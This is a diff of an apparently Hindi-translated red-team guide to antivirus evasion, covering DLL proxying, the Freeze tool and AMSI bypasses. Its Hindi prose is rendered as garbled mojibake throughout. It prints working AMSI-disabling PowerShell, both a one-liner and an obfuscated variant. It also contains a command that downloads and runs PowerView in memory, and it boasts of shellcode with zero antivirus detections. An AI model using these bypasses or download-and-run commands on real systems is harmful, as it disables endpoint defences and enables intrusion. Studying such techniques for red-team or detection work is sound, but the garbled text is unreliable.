рд╕рдорд╕реНрдпрд╛ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдПрдХ рдФрд░ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕реЗ **DLL рдкреНрд░реЙрдХреНрд╕реАрдВрдЧ/рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред **DLL рдкреНрд░реЙрдХреНрд╕реАрдВрдЧ** рдкреНрд░реЛрдЧреНрд░рд╛рдо рджреНрд╡рд╛рд░рд╛ рдкреНрд░реЙрдХреНрд╕реА (рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг) DLL рд╕реЗ рдореВрд▓ DLL рдХреЛ рдХрд┐рдП рдЧрдП рдХреЙрд▓ рдХреЛ рдЖрдЧреЗ рдмрдврд╝рд╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реБрдП рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИред @@ -100,12 +100,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ```
-рд╣рдорд╛рд░реЗ рджреЛрдиреЛрдВ рд╢реЗрд▓рдХреЛрдб (рдЬреЛ [SGN](https://github.com/EgeBalci/sgn) рдХреЗ рд╕рд╛рде рдПрдиреНрдХреЛрдбреЗрдб рд╣реИ) рдФрд░ рдкреНрд░реЙрдХреНрд╕реА DLL рдХрд╛ [antiscan.me](https://antiscan.me) рдореЗрдВ 0/26 рдбрд┐рдЯреЗрдХреНрд╢рди рджрд░ рд╣реИ! рдореИрдВ рдЗрд╕реЗ рдПрдХ рд╕рдлрд▓рддрд╛ рдХрд╣реВрдВрдЧрд╛ред +рд╣рдорд╛рд░рд╛ рд╢реЗрд▓рдХреЛрдб (рдЬрд┐рд╕реЗ [SGN](https://github.com/EgeBalci/sgn) рдХреЗ рд╕рд╛рде рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдФрд░ рдкреНрд░реЙрдХреНрд╕реА DLL рджреЛрдиреЛрдВ рдХрд╛ [antiscan.me](https://antiscan.me) рдореЗрдВ 0/26 рдбрд┐рдЯреЗрдХреНрд╢рди рд░реЗрдЯ рд╣реИ! рдореИрдВ рдЗрд╕реЗ рдПрдХ рд╕рдлрд▓рддрд╛ рдХрд╣реВрдВрдЧрд╛ред
> [!NOTE] -> рдореИрдВ **рдЧрдВрднреАрд░рддрд╛ рд╕реЗ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реВрдБ** рдХрд┐ рдЖрдк [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) рдХреЛ DLL Sideloading рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рджреЗрдЦреЗрдВ рдФрд░ рд╕рд╛рде рд╣реА [ippsec рдХрд╛ рд╡реАрдбрд┐рдпреЛ](https://www.youtube.com/watch?v=3eROsG_WNpE) рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЬреЛ рд╣рдордиреЗ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ, рдЙрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХреЗрдВред +> рдореИрдВ **рдЧрдВрднреАрд░рддрд╛ рд╕реЗ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реВрдБ** рдХрд┐ рдЖрдк [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) рдХреЛ DLL Sideloading рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рджреЗрдЦреЗрдВ рдФрд░ рд╕рд╛рде рд╣реА [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) рдХреЛ рднреА рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЬреЛ рд╣рдордиреЗ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ, рдЙрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХреЗрдВред ## [**Freeze**](https://github.com/optiv/Freeze) @@ -121,11 +121,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
> [!NOTE] -> рдмрдЪрд╛рд╡ рдХреЗрд╡рд▓ рдПрдХ рдмрд┐рд▓реНрд▓реА рдФрд░ рдЪреВрд╣рд╛ рдЦреЗрд▓ рд╣реИ, рдЬреЛ рдЖрдЬ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рдХрд▓ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрднреА рднреА рдХреЗрд╡рд▓ рдПрдХ рдЙрдкрдХрд░рдг рдкрд░ рдирд┐рд░реНрднрд░ рди рд░рд╣реЗрдВ, рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдХрдИ рдмрдЪрд╛рд╡ рддрдХрдиреАрдХреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред +> рдмрдЪрд╛рд╡ рдХреЗрд╡рд▓ рдПрдХ рдмрд┐рд▓реНрд▓реА рдФрд░ рдЪреВрд╣рд╛ рдЦреЗрд▓ рд╣реИ, рдЬреЛ рдЖрдЬ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рдХрд▓ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ рдЙрдкрдХрд░рдг рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВ, рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдХрдИ рдмрдЪрд╛рд╡ рддрдХрдиреАрдХреЛрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред ## AMSI (рдПрдВрдЯреА-рдореИрд▓рд╡реЗрдпрд░ рд╕реНрдХреИрди рдЗрдВрдЯрд░рдлреЗрд╕) -AMSI рдХреЛ "[рдлрд╛рдЗрд▓рд▓реЗрд╕ рдореИрд▓рд╡реЗрдпрд░](https://en.wikipedia.org/wiki/Fileless_malware)" рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, AV рдХреЗрд╡рд▓ **рдбрд┐рд╕реНрдХ рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ** рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ **рдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ** рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рдереЗ, рддреЛ AV рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рджреГрд╢реНрдпрддрд╛ рдирд╣реАрдВ рдереАред +AMSI "[рдлрд╛рдЗрд▓рд▓реЗрд╕ рдореИрд▓рд╡реЗрдпрд░](https://en.wikipedia.org/wiki/Fileless_malware)" рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, AV рдХреЗрд╡рд▓ **рдбрд┐рд╕реНрдХ рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ** рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ **рдкреНрд░рддреНрдпрдХреНрд╖ рдореЗрдореЛрд░реА рдореЗрдВ** рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рдереЗ, рддреЛ AV рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдерд╛, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рджреГрд╢реНрдпрддрд╛ рдирд╣реАрдВ рдереАред AMSI рд╕реБрд╡рд┐рдзрд╛ Windows рдХреЗ рдЗрди рдШрдЯрдХреЛрдВ рдореЗрдВ рдПрдХреАрдХреГрдд рд╣реИред @@ -135,7 +135,7 @@ AMSI рд╕реБрд╡рд┐рдзрд╛ Windows рдХреЗ рдЗрди рдШрдЯрдХреЛрдВ рдореЗрдВ рдПрдХ - JavaScript рдФрд░ VBScript - Office VBA рдореИрдХреНрд░реЛрдЬрд╝ -рдпрд╣ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХ рд░реВрдк рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рдХрд░рдХреЗ рдЬреЛ рди рддреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реИ рдФрд░ рди рд╣реА рдЕрд╕реНрдкрд╖реНрдЯред +рдпрд╣ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХ рд░реВрдк рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рди рддреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╣реИ рдФрд░ рди рд╣реА рдЕрд╕реНрдкрд╖реНрдЯред `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` рдЪрд▓рд╛рдиреЗ рдкрд░ Windows Defender рдкрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рд╣реЛрдЧрд╛ред @@ -145,28 +145,30 @@ AMSI рд╕реБрд╡рд┐рдзрд╛ Windows рдХреЗ рдЗрди рдШрдЯрдХреЛрдВ рдореЗрдВ рдПрдХ рд╣рдордиреЗ рдбрд┐рд╕реНрдХ рдкрд░ рдХреЛрдИ рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рдЧрд┐рд░рд╛рдИ, рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА AMSI рдХреЗ рдХрд╛рд░рдг рдореЗрдореЛрд░реА рдореЗрдВ рдкрдХрдбрд╝реЗ рдЧрдПред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **.NET 4.8** рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, C# рдХреЛрдб рднреА AMSI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ `Assembly.Load(byte[])` рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рд▓реЛрдб рдХрд░рдиреЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк AMSI рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП .NET рдХреЗ рдирд┐рдореНрди рд╕рдВрд╕реНрдХрд░рдгреЛрдВ (рдЬреИрд╕реЗ 4.7.2 рдпрд╛ рдЙрд╕рд╕реЗ рдиреАрдЪреЗ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред + AMSI рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдХреБрдЫ рддрд░реАрдХреЗ рд╣реИрдВ: - **рдЕрд╕реНрдкрд╖реНрдЯрддрд╛** -рдЪреВрдВрдХрд┐ AMSI рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕реНрдерд┐рд░ рдкрд╣рдЪрд╛рди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЬреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдЪреВрдВрдХрд┐ AMSI рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╕реНрдерд┐рд░ рдкрд╣рдЪрд╛рди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЬреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рд╣рд╛рд▓рд╛рдВрдХрд┐, AMSI рдХреЗ рдкрд╛рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рдЗрд╕рдореЗрдВ рдХрдИ рдкрд░рддреЗрдВ рд╣реЛрдВ, рдЗрд╕рд▓рд┐рдП рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдПрдХ рдмреБрд░рд╛ рд╡рд┐рдХрд▓реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЗрд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрддрдирд╛ рд╕реАрдзрд╛ рдирд╣реАрдВ рдмрдирд╛рддрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрднреА-рдХрднреА, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдХреБрдЫ рдЪрд░ рдХреЗ рдирд╛рдо рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЖрдк рдареАрдХ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рдХрд┐рддрдирд╛ рдлреНрд▓реИрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рд╣рд╛рд▓рд╛рдВрдХрд┐, AMSI рдХреЗ рдкрд╛рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ, рднрд▓реЗ рд╣реА рдЗрд╕рдореЗрдВ рдХрдИ рдкрд░рддреЗрдВ рд╣реЛрдВ, рдЗрд╕рд▓рд┐рдП рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдПрдХ рдмреБрд░рд╛ рд╡рд┐рдХрд▓реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЗрд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрддрдирд╛ рд╕реАрдзрд╛ рдирд╣реАрдВ рдмрдирд╛рддрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрднреА-рдХрднреА, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдХреБрдЫ рдЪрд░ рдХреЗ рдирд╛рдо рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЖрдк рдареАрдХ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рдХрд┐рддрдирд╛ рдЭрдВрдбрд╛ рд▓рдЧрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред - **AMSI рдмрд╛рдпрдкрд╛рд╕** -рдЪреВрдВрдХрд┐ AMSI рдХреЛ powershell (рд╕рд╛рде рд╣реА cscript.exe, wscript.exe, рдЖрджрд┐) рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ DLL рд▓реЛрдб рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рднрд▓реЗ рд╣реА рдПрдХ рдЕрдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПред AMSI рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдЗрд╕ рджреЛрд╖ рдХреЗ рдХрд╛рд░рдг, рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдиреЗ AMSI рд╕реНрдХреИрдирд┐рдВрдЧ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рдЦреЛрдЬреЗ рд╣реИрдВред +рдЪреВрдВрдХрд┐ AMSI рдХреЛ powershell (рд╕рд╛рде рд╣реА cscript.exe, wscript.exe, рдЖрджрд┐) рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ DLL рд▓реЛрдб рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рднрд▓реЗ рд╣реА рдПрдХ рдЕрдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПред AMSI рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдЗрд╕ рджреЛрд╖ рдХреЗ рдХрд╛рд░рдг, рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдиреЗ AMSI рд╕реНрдХреИрдирд┐рдВрдЧ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рддрд░реАрдХреЗ рдЦреЛрдЬреЗ рд╣реИрдВред **рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЛ рдордЬрдмреВрд░ рдХрд░рдирд╛** AMSI рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг рдХреЛ рд╡рд┐рдлрд▓ (amsiInitFailed) рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рдиреЗ рд╕реЗ рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╕реНрдХреИрди рд╢реБрд░реВ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдореВрд▓ рд░реВрдк рд╕реЗ, рдЗрд╕реЗ [Matt Graeber](https://twitter.com/mattifestation) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдХрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ Microsoft рдиреЗ рд╡реНрдпрд╛рдкрдХ рдЙрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рд╣реИред -```powershell +```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` рдмрд╕ рдПрдХ рдкрдВрдХреНрддрд┐ рдХрд╛ powershell рдХреЛрдб AMSI рдХреЛ рд╡рд░реНрддрдорд╛рди powershell рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдкрдпреЛрдЧреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдерд╛ред рдЗрд╕ рдкрдВрдХреНрддрд┐ рдХреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ AMSI рджреНрд╡рд╛рд░рд╛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдВрд╢реЛрдзрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрд╣рд╛рдВ рдПрдХ рд╕рдВрд╢реЛрдзрд┐рдд AMSI рдмрд╛рдпрдкрд╛рд╕ рд╣реИ рдЬреЛ рдореИрдВрдиреЗ рдЗрд╕ [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) рд╕реЗ рд▓рд┐рдпрд╛ рд╣реИред -```powershell +```bash Try{#Ams1 bypass technic n┬║ 2 $Xdatabase = 'Utils';$Homedrive = 'si' $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' @@ -188,21 +190,48 @@ $Spotfix.SetValue($null,$true) > [!NOTE] > рдХреГрдкрдпрд╛ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) рдкрдврд╝реЗрдВред -AMSI рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП PowerShell рдХреЗ рд╕рд╛рде рдХрдИ рдЕрдиреНрдп рддрдХрдиреАрдХреЗрдВ рднреА рд╣реИрдВ, рдЙрдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП [**рдЗрд╕ рдкреГрд╖реНрда**](basic-powershell-for-pentesters/index.html#amsi-bypass) рдФрд░ [рдЗрд╕ рд░реЗрдкреЛ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) рдкрд░ рдЬрд╛рдПрдВред +AMSI рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП PowerShell рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЕрдиреНрдп рддрдХрдиреАрдХреЗрдВ рднреА рд╣реИрдВ, [**рдЗрд╕ рдкреГрд╖реНрда**](basic-powershell-for-pentesters/index.html#amsi-bypass) рдФрд░ [**рдЗрд╕ рд░реЗрдкреЛ**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) рдкрд░ рдЬрд╛рдХрд░ рдЙрдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред -рдпрд╛ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреЛ рдореЗрдореЛрд░реА рдкреИрдЪрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдирдП PowerShell рдХреЛ рдкреИрдЪ рдХрд░реЗрдЧреАред +рдпрд╣ рдЙрдкрдХрд░рдг [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) рднреА AMSI рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред + +**Detected signature рдХреЛ рд╣рдЯрд╛рдПрдВ** + +рдЖрдк **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** рдФрд░ **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рд╕реЗ рдкрд╣рдЪрд╛рдиреА рдЧрдИ AMSI рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВред 